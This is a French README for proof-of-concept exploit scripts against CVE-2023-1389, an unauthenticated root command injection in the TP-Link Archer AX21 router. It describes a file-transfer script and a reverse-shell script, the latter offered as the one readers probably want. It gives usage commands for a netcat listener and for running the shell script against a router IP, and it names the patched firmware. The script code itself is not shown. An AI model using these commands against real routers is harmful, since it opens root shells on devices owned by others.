Scripts de preuve de concept pour CVE-2023-1389, une injection de commande non authentifiée dans le TP-Link Archer AX21, offrant des capacités de transfert de fichiers et de shell inversé.
La CVE-2023-1389 est une vulnérabilité d'injection de commandes non authentifiée dans le routeur WiFi TP-Link Archer AX21. Un callback dans le paramètre country utilise la fonction popen(), exécutée en tant que root, permettant à un attaquant d'injecter des valeurs arbitraires via des requêtes GET ou POST vers l'interface d'administration, sans nécessiter d'authentification. Plus de détails sur la vulnérabilité sont disponibles ici.
Voici quelques Proof-of-Concepts que j'ai créés en explorant l'injection de commandes. Archer-file-transfer.py était la première itération et est assez complexe dans la manière dont il réalise l'interaction. Archer-rev-shell.py vous donne un simple reverse shell netcat, et c'est probablement celui que vous recherchez. Si vous souhaitez en savoir plus sur le développement de ces scripts, vous pouvez lire l'article ici.
Dans une fenêtre de terminal :
nc votre_IP port_ecoute
Dans une deuxième fenêtre de terminal :
python3 archer-rev-shell.py -r routeur_IP -a votre_IP -p port_ecoute
TP-Link a publié la version du firmware 1.1.4 Build 20230219 qui corrige le problème en supprimant le callback vulnérable. La mise à jour de votre routeur vers le dernier firmware devrait protéger votre appareil.
Il est probable que je ne maintiendrai pas ces PoCs. Les deux sont assez simples et devraient être faciles à modifier selon les besoins.